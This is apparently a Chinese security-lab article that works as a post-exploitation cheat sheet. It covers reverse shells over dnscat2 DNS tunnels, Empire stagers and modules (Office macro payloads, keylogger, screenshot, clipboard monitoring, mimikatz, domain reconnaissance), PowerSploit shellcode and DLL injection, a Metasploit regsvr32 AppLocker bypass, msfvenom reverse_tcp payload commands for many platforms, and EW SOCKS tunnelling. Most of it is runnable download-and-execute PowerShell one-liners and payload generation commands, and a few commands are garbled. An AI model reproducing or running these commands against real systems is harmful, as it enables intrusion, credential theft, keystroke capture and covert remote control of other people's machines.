点击上方“蓝字”关注公众号获取最新信息!
本文作者:Cream(贝塔安全实验室-核心成员)
dnscat2(https://github.com/iagox86/dnscat2)是一个DNS隧道,旨在通过DNS协议创建加密的命令和控制(C&C)通道。dnscat2分为两部分:客户端和服务端。dnscat2客户端采用C语言编写,服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)。
利用dnscat2和dnscat2-powershell实现反弹DNS shell:
Step 1 :在linux系统中安装dnscat2(需要ruby环境),然后开始监听:
ruby dnscat2.rb --dns "domain=pentest.com,host=192.168.1.32" --no-cache -e open
Step 2:在目标主机上执行如下的代码:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain pentest.com -DNSServer 192.168.1.32
Step 3:接着就可以看到反弹过来的shell,输入session -i 1进入第一个会话,输入shell,然后再次输入session -i 2,会看到系统的CMD命令行!!
Git clone https://github.com/EmpireProject/Empire
启动Empire
选择渗透测试模块(设置参数àrun/execute)
产生payload
最后把payload在目标机上执行
反弹shell
2.4.2 利用office宏定义反弹shell
Step 1:我们首先查看一下Empire的帮助信息:help
产看生成的payload
生成/tmp/macro 攻击代码后,新建一个word 创建宏,注意:需要开启宏或者用户手动启用宏。开启宏设置:“文件”-“选项”-“信任中心”,选择“启用所有宏”
然后产生的payload添加到测试文档的宏中。
进入反弹回来的会话中,使用interact命令连接主机,intetact DMEYHL1V(会话名字)
Shell whoami //查看当前用户
Shell net user //获取系统用户
运行mimikatz //获取当前活动用户账号信息
use stager windows/launcher_vbs
execute
在靶机上运行该VBS脚本即可
(Empire: PDGNXFEK) > usemodule collection/screenshot
(Empire: powershell/collection/screenshot) > execute
Empire: PDGNXFEK) > usemodule collection/keylogger
(Empire: powershell/collection/keylogger) > run
就会在agent.log的同级目录中生成keystrokes.txt,打开该文件便可以看到记录的数据!
Back
Jobs
Jobs kill JOB_name
(Empire: PDGNXFEK) > usemodule collection/clipboard_monitor
(Empire: powershell/collection/clipboard_monitor) > execute
(Empire: PDGNXFEK) > usemodule situational_awareness/network/powerview/share_finder
(Empire: powershell/situational_awareness/network/powerview/share_finder) > execute
(Empire: PDGNXFEK) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > run
(Empire: PDGNXFEK) > usemodule situational_awareness/host/computerdetails
(Empire: powershell/situational_awareness/host/computerdetails) > run
(6)ARP扫描
(Empire: PDGNXFEK) > usemodule situational_awareness/network/arpscan
(Empire: powershell/situational_awareness/network/arpscan) >
然后需要设置扫描的范围:
set Range 192.168.1.1-192.168.1.254
(7)DNS信息获取
(Empire: PDGNXFEK) > set range 1usemodule situational_awareness/network/reverse_dns
(Empire: powershell/situational_awareness/network/reverse_dns) > run
(8)查找域控登录服务器IP
(Empire: PDGNXFEK) > usemodule situational_awareness/network/powerview/user_hunter
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute
(9)本地管理组访问模块
(Empire:PDGNXFEK)>usemodulesusemodulesituational_awareness/network/powerview/get_domain_controller
(Empire: powershell/situational_awareness/network/powerview/get_domain_controller) > run
2.5 PowerSploit
PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell
Step 1:下载PowerSploit到本地,使用python搭建简易服务器(python -m SimpleHTTPServer 9889),http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1
Step 2:MSF中选择reverse_tcp模块进行反弹
然后使用msfvenom命令生成powershell脚本木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=4444 -f powershell -o ./test
在msfvenom中自动补全的方法:
1、安装zsh
2、~/.oh-my-zsh/custom/plugins/msfvenom/ 创建这样一个目录
3、编辑 ~/.zshrc 添加plugins=(msfvenom)
4、_msfvenom 复制到~/.oh-my-zsh/custom/plugins/msfvenom/ 目录中
5、Source ~/.zshrc
将生成的test文件复制到python搭建的web服务器中,于是有:http://192.168.1.18:9889/test
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1')
下载MSF产生的木马文件
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/test')
最后运行木马文件:
Invoke-Shellcode -Shellcode ($buf) -Force
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ')
然后在kali中生成一个DLL注入脚本
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=6667 -f dll -o ./pentest.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6667 -f dll -a x64 --platform windows -o ./test.dll
接着将生成好的DLL文件复制python服务器中,于是有:http://192.168.1.18:9889/pentest.dll,然后在目标机上下载该文件到C盘
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ');Invoke-DllInjection -ProcessID 1124 -Dll c:\pentest.dll
利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell
use exploit/windows/misc/regsvr32_applocker_bypass_server</small>
set LHOST ip
set lport port
然后run,然后会生成一个改注册表的,复制下来在目标机的cmd运行一下,就会反弹一个shell回来。
在kali中可以看到反弹的shell
3.2 结合MSF和Powershell Getshell
powershell.exe -nop -w hidden -c $h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('http://192.168.1.28:8080/SpTrvxeyZrqgifq');
在MSF中就会看到反弹shell:
(1)windows -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=44444 X >test.exe
(2)linux -->使用模块“linux/x86/meterpreter/shell_rverse_tcp”
命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 X >text
参考文章:http://xiao106347.blog.163.com/blog/static/215992078201310253172937/
(3)java -->使用模块“java/meterpreter/reverse_tcp”
命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 W >text.jar
(4)php -->使用模块“php/meterpreter/reverse_tcp”
命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
参考文章:http://www.111cn.net/phper/phpanqn/101228.htm
(5)jsp -->使用模块“java/jsp_shell_reverse_tcp”
命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.jsp
参考文章:http://netsecurity.51cto.com/art/201406/442648.htm
(6)asp -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f asp > shell.asp
参考文章:http://www.ithao123.cn/content-10813776.html
(7)aspx -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx
参考文章:http://www.ithao123.cn/content-10813776.html
(7)android -->使用模块“android/meterpreter/reverse_tcp”
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.apk
参考“13-Metasploit之渗透安卓实战”
1、 SSH端口转发
(1)SSH本地端口转发
(2)SSH远程转发
EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
正向 SOCKS v5 服务器
$ ./ew -s ssocksd -l 1080
反弹 SOCKS v5 服务器
这个操作具体分两步:
a) 先在一台具有公网 ip 的主机A上运行以下命令:
$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
成功。
其他工具可参考:https://mp.weixin.qq.com/s/LEhOCns-pLLwjDT9VwozfA##